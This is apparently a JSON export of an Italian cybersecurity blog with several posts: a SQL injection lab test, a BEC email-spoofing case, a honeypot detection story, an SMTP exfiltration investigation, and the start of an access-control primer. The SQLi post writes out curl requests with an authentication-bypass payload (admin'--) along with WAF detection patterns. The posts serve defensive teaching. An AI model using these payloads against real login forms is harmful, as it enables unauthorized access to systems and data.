2026","externalUrl":null,"permalink":"/tags/attacco/","section":"Tags","summary":"","title":"Attacco","type":"tags"},{"content":"","date":"19 maggio 2026","externalUrl":null,"permalink":"/tags/caso-d-uso/","section":"Tags","summary":"","title":"Caso-D-Uso","type":"tags"},{"content":"","date":"19 maggio 2026","externalUrl":null,"permalink":"/tags/dfir/","section":"Tags","summary":"","title":"Dfir","type":"tags"},{"content":"","date":"19 maggio 2026","externalUrl":null,"permalink":"/tags/facile/","section":"Tags","summary":"","title":"Facile","type":"tags"},{"content":" TL;DR SQL Injection avviene quando l'input utente viene concatenato direttamente nella query - il DB esegue codice che non dovrebbe Un apostrofo nel campo username è spesso sufficiente per rilevare la vulnerabilità La difesa corretta è la parameterized query - non l'input validation da sola Il WAF può rallentare l'attacco ma non sostituisce il fix nel codice ▶ $ history curl -s -X POST url -d \u0026quot;username=test\u0026amp;password=test\u0026quot; tshark -r capture.pcap -Y \u0026quot;http.request.method == POST\u0026quot; Mi hanno dato tre ore e un URL. Un'applicazione web interna - gestionale ordini, usato dal reparto commerciale. \u0026quot;Testala. Dimmi cosa non va.\u0026quot;\nNiente scope limitato. Niente whitelist. Solo: trova.\nApro il browser.\nSetup # ┌──────────────────┐ rete isolata ┌──────────────────────┐ │ Kali Linux │◄──────────────────────►│ App web (Ubuntu) │ │ 192.168.64.200 │ │ 192.168.64.10 │ │ │ │ │ │ curl, browser │ │ Apache + PHP + MySQL│ └──────────────────┘ └──────────────────────┘ L'applicazione ha un form di login standard. Username, password, pulsante Accedi. Niente di speciale in superficie.\nFase ATTACCO - Reconnaissance # Il primo test è sempre il più semplice: inserisco un apostrofo nel campo username.\ncurl -s -X POST http://192.168.64.10/login.php \\ -d \u0026#34;username=\u0026#39;\u0026amp;password=test\u0026#34; Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/login.php on line 47 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \u0026#39;\u0026#39; # output simulato L'applicazione mostra l'errore direttamente nella risposta HTTP. Due informazioni preziose in una riga: il server usa MySQL, e il codice non gestisce gli errori. Il percorso del file (/var/www/html/login.php) è un regalo in più.\nL'apostrofo ha rotto la query. Questo significa che l'input viene concatenato direttamente nel SQL senza sanitizzazione.\nCosa sta succedendo nel codice # La query originale del form è probabilmente questa:\n// codice vulnerabile nel server $query = \u0026#34;SELECT * FROM users WHERE username=\u0026#39;\u0026#34; . $_POST[\u0026#39;username\u0026#39;] . \u0026#34;\u0026#39; AND password=\u0026#39;\u0026#34; . $_POST[\u0026#39;password\u0026#39;] . \u0026#34;\u0026#39;\u0026#34;; Quando inserisco ', la stringa diventa:\nSELECT * FROM users WHERE username=\u0026#39;\u0026#39;\u0026#39; AND password=\u0026#39;test\u0026#39; Tre apostrofi - la sintassi SQL è rotta. Il DB non sa cosa farne e va in errore.\nFase ATTACCO - Exploitation # Ora che so che è vulnerabile, costruisco un payload per bypassare il login.\ncurl -s -X POST http://192.168.64.10/login.php \\ -d \u0026#34;username=admin\u0026#39;--\u0026amp;password=qualsiasi\u0026#34; La query che arriva al DB diventa:\nSELECT * FROM users WHERE username=\u0026#39;admin\u0026#39;-- AND password=\u0026#39;qualsiasi\u0026#39; -- commenta tutto ciò che segue. La condizione sulla password sparisce. Se esiste un utente admin, sono dentro.\nBenvenuto, admin. Ordini in attesa: 847 # output simulato Accesso ottenuto senza conoscere la password.\nSequenza completa # sequenceDiagram participant K as Kali (attaccante) participant APP as App PHP participant DB as MySQL K-\u003e\u003eAPP: POST username=' (apostrofo) APP-\u003e\u003eDB: SELECT ... WHERE username=''' ... DB-\u003e\u003eAPP: Syntax error APP-\u003e\u003eK: Errore SQL visibile (info disclosure) Note over K: Confermata SQLi + tecnologia K-\u003e\u003eAPP: POST username=admin'-- APP-\u003e\u003eDB: SELECT ... WHERE username='admin'-- AND password=... DB-\u003e\u003eAPP: Record utente admin (password ignorata) APP-\u003e\u003eK: Sessione autenticata come admin Fase DETECTION - cosa vede il WAF # Il WAF aziendale (se presente) avrebbe dovuto loggare queste richieste.\nPattern sospetti nel traffico HTTP:\ntshark -r capture.pcap \\ -Y \u0026#34;http.request.method == POST\u0026#34; \\ -T fields -e ip.src -e http.request.uri -e http.file_data \\ | grep -i \u0026#34;login\u0026#34; 192.168.64.200 /login.php username=\u0026#39;\u0026amp;password=test 192.168.64.200 /login.php username=admin\u0026#39;--\u0026amp;password=qualsiasi # output simulato Segnali da configurare nel WAF o nel SIEM:\nApostrofi e virgolette nei campi POST Sequenze --, /*, */, UNION, SELECT nei parametri Errori HTTP 500 ripetuti dallo stesso IP in breve tempo Il WAF può bloccare i payload noti, ma se il codice è vulnerabile e l'attaccante usa encoding o varianti meno comuni, il WAF viene bypassato. La patch nel codice è l'unica soluzione definitiva.\nIoC e tecniche # Tipo Valore Contesto MITRE ATT\u0026amp;CK Tecnica Apostrofo in campo POST Test iniziale SQLi T1190 Tecnica '-- in campo username Authentication bypass T1190 Info Path /var/www/html/login.php in errore Information disclosure T1082 Info Versione MySQL in errore Version disclosure T1082 Fase RESPONSE - il fix # La vulnerabilità ha una correzione netta: parameterized query.\n// PRIMA - vulnerabile $query = \u0026#34;SELECT * FROM users WHERE username=\u0026#39;\u0026#34; . $_POST[\u0026#39;username\u0026#39;] . \u0026#34;\u0026#39;\u0026#34;; // DOPO - sicuro $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT * FROM users WHERE username = ? AND password = ?\u0026#34;); $stmt-\u0026gt;execute([$_POST[\u0026#39;username\u0026#39;], $password_hash]); Con la parameterized query, l'input dell'utente viene passato al DB come dato, non come codice. Qualsiasi carattere speciale - apostrofi inclusi - viene trattato letteralmente. La query non può essere modificata dall'input.\nChecklist fix completo:\nConvertire tutte le query a parameterized query o prepared statement Rimuovere la visualizzazione degli errori SQL in produzione (display_errors = Off) Applicare least privilege all'utente DB dell'applicazione - no DROP, no ALTER Aggiungere logging delle richieste POST anomale Configurare WAF con regole per pattern SQLi comuni Eseguire SAST sul codice per trovare altri punti di concatenazione SQL exit 0 # Tre minuti. Un apostrofo. Accesso admin a 847 ordini in sospeso.\nLa SQLi non è una vulnerabilità sofisticata - esiste da decenni, i tool di rilevamento automatico la trovano in secondi. Eppure continua a comparire in ogni pentest perché il fix richiede di toccare il codice, e toccare il codice richiede tempo che spesso non viene dato.\nInput validation è necessaria ma non sufficiente - un attaccante paziente trova sempre una variante che bypassa i filtri. La parameterized query separa il codice dai dati a livello strutturale: non c'è niente da bypassare.\nComandi usati: tshark Concetti correlati: smtp\n","date":"19 maggio 2026","externalUrl":null,"permalink":"/blog/il-campo-che-parlava-troppo/","section":"Blog","summary":" TL;DR SQL Injection avviene quando l'input utente viene concatenato direttamente nella query - il DB esegue codice che non dovrebbe Un apostrofo nel campo username è spesso sufficiente per rilevare la vulnerabilità La difesa corretta è la parameterized query - non l'input validation da sola Il WAF può rallentare l'attacco ma non sostituisce il fix nel codice ▶ $ history curl -s -X POST url -d \"username=test\u0026password=test\" tshark -r capture.pcap -Y \"http.request.method == POST\" Mi hanno dato tre ore e un URL. Un'applicazione web interna - gestionale ordini, usato dal reparto commerciale. \"Testala. Dimmi cosa non va.\"\n","title":"Il Campo che Parlava Troppo","type":"blog"},{"content":" TL;DR BEC (Business Email Compromise) non richiede malware - basta falsificare il campo From: in SMTP SPF, DKIM e DMARC sono i tre record DNS che rendono verificabile l'identità del mittente Un dominio senza questi tre record è impersonabile in cinque minuti da chiunque Leggere gli header Received: di un'email dal basso verso l'alto rivela il percorso reale del messaggio ▶ $ history dig TXT dominio.com dig TXT _dmarc.dominio.com Arianna gestisce i pagamenti. Quella mattina ha ricevuto un'email dal CEO: cambio fornitore urgente, nuovo IBAN, bonifico entro fine giornata. 47.000 euro. Il tono era quello di sempre - formale, diretto, niente spiegazioni superflue.\nHa quasi premuto invio.\nPer fortuna ha chiamato prima. Il CEO non sapeva nulla.\nL'email non era sua # La prima cosa che faccio è aprire l'email originale e leggere gli header completi - non il campo From: che vede l'utente, ma il tracciato reale del messaggio.\nGli header Received: si leggono dal basso verso l'alto - il più in basso è il primo hop, il più in alto è l'ultimo prima della inbox.\nReceived: from mail-out.sendgridfake.net (185.220.x.x) by mx1.azienda.com with ESMTP for \u0026lt;arianna@azienda.com\u0026gt;; Mon, 19 May 2026 09:14:22 +0200 Received: from [192.168.1.5] (unknown) by sendgridfake.net with SMTP for \u0026lt;arianna@azienda.com\u0026gt;; Mon, 19 May 2026 09:14:18 +0200 From: Marco Bianchi \u0026lt;m.bianchi@azienda.com\u0026gt; Reply-To: pagamenti-conf@gmail.com Tre segnali in un colpo solo:\nIl server mittente è sendgridfake.net - non ha niente a che fare con azienda.com Il campo Reply-To punta a un account Gmail - non al CEO Il From: mostra azienda.com ma il messaggio non è partito da lì Come funziona il BEC # SMTP non verifica l'identità del mittente. Chiunque può scrivere qualsiasi indirizzo nel campo From: senza avere accesso a quella casella. È come scrivere su una busta postale il nome di qualcun altro come mittente.\nsequenceDiagram participant A as Attaccante (185.220.x.x) participant MTA as Mail Server azienda.com participant AR as Arianna A-\u003e\u003eMTA: EHLO sendgridfake.net A-\u003e\u003eMTA: MAIL FROM: m.bianchi@azienda.com Note over A,MTA: SMTP non chiede credenziali per MAIL FROM A-\u003e\u003eMTA: RCPT TO: arianna@azienda.com A-\u003e\u003eMTA: DATA - corpo email + Reply-To: gmail MTA-\u003e\u003eAR: Consegnata con From: CEO AR-\u003e\u003eAR: Legge \"CEO\" nel campo From AR--\u003e\u003eA: Risponde all'attaccante (Reply-To) Senza protezioni DNS, il server di azienda.com accetta l'email e la consegna. Non ha strumenti per verificare che quell'IP sia autorizzato a spedire per conto del dominio.\nVerifica la postura del dominio # Controllo i record DNS di azienda.com.\n# SPF - chi è autorizzato a spedire email per questo dominio? dig TXT azienda.com | grep spf # (nessun output) # DKIM - firma crittografica dig TXT default._domainkey.azienda.com # (nessun output) # DMARC - policy su cosa fare se SPF/DKIM falliscono dig TXT _dmarc.azienda.com # (nessun output) Nessun record. Il dominio è completamente aperto - chiunque può spedire email \u0026quot;da\u0026quot; azienda.com senza che il server ricevente possa rilevarlo. L'attaccante lo sapeva.\nCome SPF/DKIM/DMARC avrebbero bloccato questo # graph TD EMAIL[\"Email da 185.220.x.x From: m.bianchi@azienda.com\"] EMAIL --\u003e SPF[\"Controllo SPF 185.220.x.x è nella lista SPF di azienda.com?\"] EMAIL --\u003e DKIM[\"Controllo DKIM La firma corrisponde alla chiave pubblica DNS?\"] SPF --\u003e|\"NO - IP non autorizzato\"| FAIL1[\"SPF FAIL\"] DKIM --\u003e|\"NO - nessuna firma presente\"| FAIL2[\"DKIM FAIL\"] FAIL1 --\u003e DMARC[\"DMARC: entrambi falliti p=reject → email rifiutata\"] FAIL2 --\u003e DMARC DMARC --\u003e|\"con DMARC attivo\"| BLOCK[\"Email non consegnata Report inviato all'admin\"] DMARC --\u003e|\"senza DMARC\"| INBOX[\"Email in inbox Arianna quasi paga 47k\"] IoC e tecniche # Tipo Valore Contesto MITRE ATT\u0026amp;CK IP 185.220.x.x Server SMTP attaccante T1566.001 Dominio sendgridfake.net Mail server non autorizzato T1566.001 Tecnica MAIL FROM falsificato su dominio senza SPF BEC via email spoofing T1586.002 Tecnica Reply-To Gmail - risposta va all'attaccante Intercettazione comunicazioni T1534 Correggere la postura # # Verifica l\u0026#39;IP del tuo mail server legittimo dig MX azienda.com dig A mail.azienda.com # Record SPF - autorizza solo il tuo mail server # Aggiungere in DNS come TXT su @: # v=spf1 include:_spf.provider.it -all # Verifica DMARC dopo configurazione dig TXT _dmarc.azienda.com # Deve rispondere: v=DMARC1; p=reject; rua=mailto:dmarc@azienda.com Checklist minima per qualsiasi dominio che invia email:\nRecord SPF con -all (hard fail) - non ~all (soft fail) DKIM configurato sul mail server con chiave a 2048 bit DMARC con p=quarantine inizialmente, poi p=reject dopo verifica Monitorare i report DMARC - segnalano ogni tentativo di spoofing Procedura interna per pagamenti: verifica telefonica obbligatoria per IBAN nuovi exit 0 # L'attaccante non ha violato nessun sistema. Non ha rubato credenziali, non ha installato malware, non ha fatto niente di tecnicamente sofisticato. Ha solo scritto un'email sapendo che dall'altra parte c'era un processo aziendale prevedibile e un dominio senza difese.\n47.000 euro non sono partiti perché Arianna ha chiamato. Non perché il sistema l'abbia fermata.\nSPF, DKIM e DMARC costano zero euro e si configurano in un pomeriggio. L'assenza di quei tre record DNS è una scelta - spesso inconsapevole, sempre rischiosa.\nComandi usati: dig Concetti correlati: smtp, dns-resolution-flow\n","date":"19 maggio 2026","externalUrl":null,"permalink":"/blog/il-ceo-non-ha-scritto-quella-email/","section":"Blog","summary":" TL;DR BEC (Business Email Compromise) non richiede malware - basta falsificare il campo From: in SMTP SPF, DKIM e DMARC sono i tre record DNS che rendono verificabile l'identità del mittente Un dominio senza questi tre record è impersonabile in cinque minuti da chiunque Leggere gli header Received: di un'email dal basso verso l'alto rivela il percorso reale del messaggio ▶ $ history dig TXT dominio.com dig TXT _dmarc.dominio.com Arianna gestisce i pagamenti. Quella mattina ha ricevuto un'email dal CEO: cambio fornitore urgente, nuovo IBAN, bonifico entro fine giornata. 47.000 euro. Il tono era quello di sempre - formale, diretto, niente spiegazioni superflue.\n","title":"Il CEO Non Ha Scritto Quella Email","type":"blog"},{"content":" TL;DR Un honeypot è un sistema esca - qualsiasi connessione ricevuta è per definizione sospetta La ricognizione interna (lateral movement iniziale) lascia tracce nei log prima che l'attaccante agisca Analizzare chi ha contattato il honeypot rivela quali host sono compromessi o controllati da un attaccante IDS/IPS signature-based non rileva zero-day - il comportamento anomalo verso risorse inesistenti lo fa ▶ $ history tshark -r capture.pcap -Y \u0026quot;ip.dst == 192.168.10.99\u0026quot; -T fields -e ip.src -e tcp.dstport dig -x 192.168.10.99 Sono le 14:33. Il SIEM ha flaggato una connessione TCP verso 192.168.10.99. Il problema: a quell'IP non c'è nessun server. Non c'è nessun servizio. Non c'è nessun device registrato nell'inventario.\nEppure qualcuno lo ha contattato.\nL'IP che non esiste # Il nostro honeypot è un sistema configurato per sembrare attraente - share di rete aperta, nome host FILESERVER-OLD, porta 445 aperta. Nessun utente legittimo dovrebbe mai connettersi lì. Non è documentato. Non è nel DNS interno. Non ha un record in Active Directory.\nQuesto è esattamente il punto.\ngraph TD I[\"Internet\"] --\u003e FW[\"Firewall perimetrale\"] FW --\u003e LAN[\"LAN aziendale\"] LAN --\u003e WS[\"Workstation (192.168.10.x)\"] LAN --\u003e SRV[\"Server reali (192.168.20.x)\"] LAN --\u003e HP[\"HONEYPOT 192.168.10.99 Nessun uso legittimo Ogni connessione = alert\"] HP --\u003e|\"alert istantaneo\"| SIEM[\"SIEM / SOC\"] Qualsiasi connessione al honeypot segnala una di queste tre cose: un attaccante in ricognizione, un worm che scansiona la rete automaticamente, o un device già compromesso che esegue ordini da C2.\nCosa vedo nel pcap # Filtro sul traffico verso quell'IP nelle ultime sei ore.\ntshark -r capture.pcap \\ -Y \u0026#34;ip.dst == 192.168.10.99\u0026#34; \\ -T fields -e frame.time -e ip.src -e tcp.dstport 14:31:02 192.168.10.47 445 14:31:02 192.168.10.47 139 14:31:03 192.168.10.47 3389 14:31:04 192.168.10.47 22 14:31:05 192.168.10.47 80 # output simulato Un solo host sorgente: 192.168.10.47. Cinque porte diverse in tre secondi - 445, 139, 3389, 22, 80. Non è un utente che cerca un file. È una scansione sistematica di porte.\n192.168.10.47 è una workstation del reparto marketing. Nella normale operatività, quella macchina non apre mai connessioni verso altri host interni su porte di questo tipo.\nIl profilo della scansione # Espando la ricerca a tutto il traffico generato da 192.168.10.47 nell'ultima ora.\ntshark -r capture.pcap \\ -Y \u0026#34;ip.src == 192.168.10.47 \u0026amp;\u0026amp; tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0\u0026#34; \\ -T fields -e ip.dst \\ | sort -u | wc -l 31 # output simulato Trentuno host distinti contattati con SYN puro in un'ora - pattern classico di port scan. La workstation sta mappando sistematicamente la subnet /24.\nIl primo host che ha scansionato era il honeypot. Questo ci dice che la scansione parte da 192.168.10.1 e procede in ordine - arrivata a .99, il honeypot ha alzato la mano.\nRicostruire il percorso # graph LR ATT[\"Attaccante esterno o accesso iniziale via phishing\"] --\u003e|\"initial access\"| WS[\"192.168.10.47 Workstation marketing COMPROMESSA\"] WS --\u003e|\"lateral movement recon\"| HP[\"Honeypot 192.168.10.99 ALERT\"] WS --\u003e|\"scansione 192.168.10.x\"| ALTRI[\"31 host scansionati\"] HP --\u003e SOC[\"SOC avvisato 14:33\"] SOC --\u003e|\"indaga\"| WS La workstation è il pivot. Qualcuno ha ottenuto accesso a quella macchina - phishing, credenziali rubate, exploit - e ora sta eseguendo ricognizione interna prima di muoversi verso target di valore.\nIoC e tecniche # Tipo Valore Contesto MITRE ATT\u0026amp;CK IP interno 192.168.10.47 Host compromesso, sorgente scansione T1046 Comportamento SYN scan su 31 host interni in 60 min Network Service Discovery T1046 Comportamento Connessione a risorsa inesistente Honeypot triggered - ricognizione attiva T1018 Tecnica Porte 445/139 - targeting SMB Lateral movement preparation T1021.002 Risposta # # Isola immediatamente la workstation a livello switch # (NAC quarantine o disabilita porta) # Verifica processi attivi sulla macchina al momento dell\u0026#39;alert # (da memory forensics o EDR) # Cerca altri host con pattern simile nella stessa finestra temporale tshark -r capture.pcap \\ -Y \u0026#34;tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0\u0026#34; \\ -T fields -e ip.src \\ | sort | uniq -c | sort -rn | head -10 Checklist:\nIsola la workstation - togli accesso rete prima di investigare Acquisisci immagine della memoria (volatility) e del disco prima di spegnere Analizza processi, connessioni e task schedulati al momento dell'alert Cerca lateral movement riuscito - qualcuno ha risposto alla scansione? Verifica se altri host hanno pattern di scansione simili (worm?) Cambia credenziali dell'utente della workstation exit 0 # Un honeypot non protegge niente. Non ha patch da aggiornare, non ha dati da cifrare, non ha utenti da difendere. È un sensore puro - il suo unico valore è non ricevere mai traffico legittimo.\nQuando il SIEM ha alzato quell'alert a ore 14:33, la scansione era iniziata alle 14:31. Due minuti. In un ambiente senza honeypot, quell'attaccante avrebbe continuato silenzioso per ore. Forse giorni.\nIl fantasma nella rete si è rivelato perché ha bussato alla porta sbagliata.\nComandi usati: tshark Concetti correlati: smtp, dns-resolution-flow\n","date":"19 maggio 2026","externalUrl":null,"permalink":"/blog/il-fantasma-nella-rete/","section":"Blog","summary":" TL;DR Un honeypot è un sistema esca - qualsiasi connessione ricevuta è per definizione sospetta La ricognizione interna (lateral movement iniziale) lascia tracce nei log prima che l'attaccante agisca Analizzare chi ha contattato il honeypot rivela quali host sono compromessi o controllati da un attaccante IDS/IPS signature-based non rileva zero-day - il comportamento anomalo verso risorse inesistenti lo fa ▶ $ history tshark -r capture.pcap -Y \"ip.dst == 192.168.10.99\" -T fields -e ip.src -e tcp.dstport dig -x 192.168.10.99 Sono le 14:33. Il SIEM ha flaggato una connessione TCP verso 192.168.10.99. Il problema: a quell'IP non c'è nessun server. Non c'è nessun servizio. Non c'è nessun device registrato nell'inventario.\n","title":"Il Fantasma nella Rete","type":"blog"},{"content":" TL;DR SMTP consegna le email, IMAP/POP3 le recuperano - protocolli separati con porte e ruoli distinti Una workstation che apre connessioni dirette sulla porta 25 è anomala: quel traffico spetta al mail server aziendale base64 negli allegati non è cifratura: su SMTP senza TLS, qualsiasi allegato è estraibile dal pcap in chiaro SPF, DKIM e DMARC sono i tre record DNS che distinguono un dominio difeso da uno esposto allo spoofing ▶ $ history tshark -r capture.pcap -Y \u0026quot;smtp\u0026quot; -T fields -e ip.src -e ip.dst -e smtp.req.command -e smtp.req.parameter dig MX dominio.com dig TXT _dmarc.dominio.com Sono le 02:17. Il SIEM ha alzato un flag su 192.168.1.45 - una workstation del reparto contabilità. Non è un alert critico, ma è strano: connessione TCP in uscita sulla porta 25 verso un IP esterno. Le workstations non parlano sulla porta 25. Non dovrebbero farlo mai.\nApro il pcap.\nCome viaggia un'email # Prima di capire perché quell'alert è anomalo, devo capire come funziona il traffico email in una rete normale. L'email viaggia in due fasi separate con protocolli diversi.\nsequenceDiagram participant MUA as Client (MUA) participant MSA as Mail Server aziendale participant DNS as DNS MX record participant MTA2 as MTA Destinatario participant MDA as Mailbox (MDA) participant Client2 as Client IMAP MUA-\u003e\u003eMSA: SMTP porta 587 con STARTTLS autenticato Note over MUA,MSA: client verso mail server aziendale MSA-\u003e\u003eDNS: query MX destinatario.com DNS--\u003e\u003eMSA: smtp.destinatario.com priority 10 MSA-\u003e\u003eMTA2: SMTP porta 25 server-to-server Note over MSA,MTA2: mail server verso mail server remoto MTA2-\u003e\u003eMDA: deposita nella mailbox Client2-\u003e\u003eMDA: IMAP porta 993 con TLS MDA--\u003e\u003eClient2: email consegnata La distinzione critica: la porta 25 è per il traffico server-to-server. Un MTA aziendale la usa per consegnare email a un MTA remoto. Una workstation non ha motivo di aprire connessioni dirette sulla porta 25 - il suo compito è parlare con il mail server aziendale sulla porta 587, autenticata e cifrata.\nQuattro protocolli, due fasi # Protocollo Espansione Porta Versione cifrata Porta SMTP Simple Mail Transfer Protocol 25 SMTPS 465 SMTP Simple Mail Transfer Protocol 25 SMTP + STARTTLS 587 POP3 Post Office Protocol v3 110 POP3S 995 IMAP Internet Message Access Protocol 143 IMAPS 993 Fase 1 - consegna: SMTP porta 587 dal client al mail server aziendale (autenticato, con STARTTLS), poi SMTP porta 25 tra mail server. SMTP non sa nulla di mailbox o storage - consegna e sparisce.\nFase 2 - lettura: IMAP (porta 993) o POP3 (porta 995). La differenza tra i due conta in un'indagine forense.\nPOP3 IMAP Dove vive l'email Scaricata sul client, rimossa dal server Resta sul server Multi-device No - chi scarica per primo prende l'email Si - tutti i client sono sincronizzati Evidenza digitale Se il client si rompe, le email spariscono L'email è sul server, recuperabile In un'indagine, IMAP è più amico del Blue Team: le email sono ancora lì, accessibili.\nSTARTTLS aggiorna una connessione non cifrata a TLS dopo il primo handshake. SMTPS invece è cifrata dall'inizio. La porta 587 è la porta di submission client-to-server - autenticata. La porta 25 è riservata al traffico MTA-to-MTA: gli ISP la bloccano agli utenti normali proprio per prevenire spam. Una workstation che apre connessioni sulla porta 25 bypassa completamente questo meccanismo.\nCome il MTA trova il destinatario # Ogni volta che un mail server deve consegnare un'email a utente@example.com, esegue una query DNS per il record MX di example.com. I record MX hanno una priorità: numero più basso corrisponde al server preferito. Se il primario è irraggiungibile, il MTA prova il successivo in ordine.\ndig MX gmail.com # gmail-smtp-in.l.google.com 5 primo tentativo # alt1.gmail-smtp-in.l.google.com 10 # alt2.gmail-smtp-in.l.google.com 20 # alt3.gmail-smtp-in.l.google.com 30 È un failover nativo del protocollo, senza configurazioni aggiuntive. Dopo aver risolto il record MX, il MTA esegue una seconda query DNS per l'IP del server e apre la connessione SMTP sulla porta 25.\nCosa vedo nel pcap # tshark -r capture.pcap -Y \u0026#34;smtp\u0026#34; \\ -T fields -e ip.src -e ip.dst -e smtp.req.command -e smtp.req.parameter 192.168.1.45 203.0.113.42 EHLO [192.168.1.45] 192.168.1.45 203.0.113.42 MAIL FROM:\u0026lt;cfo@azienda.com\u0026gt; 192.168.1.45 203.0.113.42 RCPT TO:\u0026lt;raccolta77@hotmail.com\u0026gt; 192.168.1.45 203.0.113.42 DATA # output simulato La workstation 192.168.1.45 ha aperto una connessione SMTP diretta sulla porta 25 verso un IP esterno. Ha inviato un'email da cfo@azienda.com verso un indirizzo Hotmail esterno. Il mittente è il CFO - ma chi ha effettivamente spedito questa email?\nIl campo MAIL FROM: in SMTP è liberamente falsificabile. Chiunque può costruire un'email con qualsiasi mittente senza avere accesso a quell'account. Lo spoofing non richiede credenziali.\nIl contenuto del DATA # Seguo lo stream TCP per leggere il body.\ntshark -r capture.pcap -q -z \u0026#34;follow,tcp,ascii,0\u0026#34; Content-Type: multipart/mixed; boundary=\u0026#34;--boundary-0x7f4a2b\u0026#34; ----boundary-0x7f4a2b Content-Type: text/plain Allego il file come da accordi. ----boundary-0x7f4a2b Content-Type: application/octet-stream; name=\u0026#34;report_q1.zip\u0026#34; Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\u0026#34;report_q1.zip\u0026#34; UEsDBBQAAAAIABt2... # output simulato Un allegato in base64. La dimensione nel MAIL FROM era SIZE=2847291 - quasi 3MB.\nbase64 non è cifratura. È una codifica che permette di trasmettere dati binari su un canale testuale. Qualsiasi analista con accesso al pcap estrae il file in pochi secondi con base64 -d. Su SMTP senza TLS, mittente, destinatario, subject, body e allegati viaggiano come una cartolina aperta. Un SIZE grande su connessioni SMTP in chiaro è un segnale di possibile exfiltration.\nIl flusso dell'investigazione # graph TD A[\"Alert SIEM\\n192.168.1.45 porta 25 verso IP esterno\"] --\u003e B[\"tshark filtra SMTP\\nidentifica comandi e IP\"] B --\u003e C[\"MAIL FROM: cfo@azienda.com\\nRCPT TO: indirizzo esterno\\nSIZE: 2.8MB\"] C --\u003e D1[\"Anomalia 1\\nWorkstation non usa porta 25\\nquel traffico e' del MTA\"] C --\u003e D2[\"Anomalia 2\\nMAIL FROM falsificato\\nSMTP non verifica il mittente\"] C --\u003e D3[\"Anomalia 3\\nAllegato 3MB in base64\\nSMTP senza TLS = chiaro\"] D1 --\u003e E[\"Isola la workstation\\nAnalisi malware\"] D2 --\u003e E D3 --\u003e E IoC e tecniche # Tipo Valore Contesto MITRE ATT\u0026amp;CK IP 203.0.113.42 SMTP destination diretta, IP non aziendale T1071.003 Comportamento Porta 25 in uscita da workstation Host non-MTA che contatta MTA remoto T1048 Tecnica MAIL FROM falsificato Spoofing mittente senza credenziali T1566.001 Tecnica Allegato base64 su SMTP senza TLS Dati in chiaro, exfiltration via email T1048.003 Mitigazione # # Identifica quale processo sta aprendo connessioni sulla porta 25 ss -tulnp | grep :25 # Verifica record SPF del dominio dig TXT azienda.com | grep spf # Verifica DKIM (sostituisci il selector corretto) dig TXT default._domainkey.azienda.com # Verifica DMARC dig TXT _dmarc.azienda.com Checklist:\nBloccare la porta 25 in uscita su tutte le workstations - solo il mail server aziendale deve usarla Configurare SPF con -all (hard fail) per il dominio Implementare DKIM con chiave a 2048 bit minimo DMARC con p=quarantine come minimo, p=reject come obiettivo Alert su qualsiasi connessione SMTP diretta (porta 25) da host non classificati come mail server TLS obbligatorio su porta 587 - nessun fallback in chiaro Un'ultima cosa da fissare. IMAPS (porta 993) cifra il canale tra client e server. Le email sul server restano accessibili al provider - in chiaro per chi gestisce l'infrastruttura. Solo la cifratura end-to-end (S/MIME, PGP, ProtonMail) impedisce al provider di leggere il contenuto. In un'indagine interna con autorizzazione, le email sul server mail aziendale sono recuperabili: IMAP le lascia lì.\nexit 0 # Una workstation che parla direttamente sulla porta 25 è come un impiegato che porta lui stesso le lettere all'ufficio postale internazionale invece di affidarle al corriere aziendale. Tecnicamente funziona. Praticamente, è il segnale che qualcosa ha preso il controllo del processo di consegna.\nSMTP ha quasi cinquant'anni. È stato progettato per un internet di fiducia che non esiste più. SPF, DKIM e DMARC sono stati aggiunti decenni dopo come rattoppi. Sono rattoppi necessari: un dominio senza questi tre record DNS non si chiede se verrà usato per phishing. Si chiede quando.\nComandi usati: tshark, dig Concetti correlati: smtp, dns-resolution-flow Tools: wireshark\n","date":"19 maggio 2026","externalUrl":null,"permalink":"/blog/il-postino-lavora-di-notte/","section":"Blog","summary":" TL;DR SMTP consegna le email, IMAP/POP3 le recuperano - protocolli separati con porte e ruoli distinti Una workstation che apre connessioni dirette sulla porta 25 è anomala: quel traffico spetta al mail server aziendale base64 negli allegati non è cifratura: su SMTP senza TLS, qualsiasi allegato è estraibile dal pcap in chiaro SPF, DKIM e DMARC sono i tre record DNS che distinguono un dominio difeso da uno esposto allo spoofing ▶ $ history tshark -r capture.pcap -Y \"smtp\" -T fields -e ip.src -e ip.dst -e smtp.req.command -e smtp.req.parameter dig MX dominio.com dig TXT _dmarc.dominio.com ","title":"Il Postino Lavora di Notte","type":"blog"},{"content":"","date":"19 maggio 2026","externalUrl":null,"permalink":"/tags/threat-hunting/","section":"Tags","summary":"","title":"Threat-Hunting","type":"tags"},{"content":" TL;DR DAC = il proprietario del file decide i permessi - flessibile ma dipende dall'utente MAC = il sistema decide in base a etichette di classificazione - usato in ambienti ad alta sicurezza RBAC = permessi assegnati ai ruoli, utenti assegnati ai ruoli - il modello più usato in azienda Rule-based = regole condizionali (orario, IP, dispositivo) - usato nei firewall e nel controllo accessi contestuale ABAC = combina attributi utente + risorsa + contesto - il più granulare, il più complesso Giovedì mattina. Silvia, amministrativa HR, apre la share aziendale per caricare un documento. Trova una cartella che non riconosce. La apre. Dentro ci sono i file di stipendio di tutti i 140 dipendenti dell'azienda - compresi quelli dei dirigenti.\n\u0026quot;Potevo leggerli? Ho pensato fossero accessibili a tutti.\u0026quot;\nNon erano accessibili a tutti. Erano accessibili a chiunque perché qualcuno aveva configurato i permessi nel modo sbagliato.\nIl problema è il modello, non solo la configurazione # Il sysadmin aveva applicato permessi 644 sulla cartella condivisa - leggibile da tutti gli utenti autenticati. Era un residuo di una migrazione fatta in fretta. Nessuna intenzione malevola. Solo la scelta del modello sbagliato per il contesto sbagliato.\nCi sono cinque modelli principali di access control. Ognuno risponde a una domanda diversa su chi decide i permessi, e quando.\ngraph TD Q[\"Chi decide i permessi?\"] Q --\u003e|\"il proprietario del file\"| DAC[\"DAC Discretionary Access Control\"] Q --\u003e|\"il sistema - label di classificazione\"| MAC[\"MAC Mandatory Access Control\"] Q --\u003e|\"il ruolo dell utente\"| RBAC[\"RBAC Role-Based Access Control\"] Q --\u003e|\"regole condizionali\"| RuBAC[\"Rule-Based AC orario IP dispositivo\"] Q --\u003e|\"combinazione di 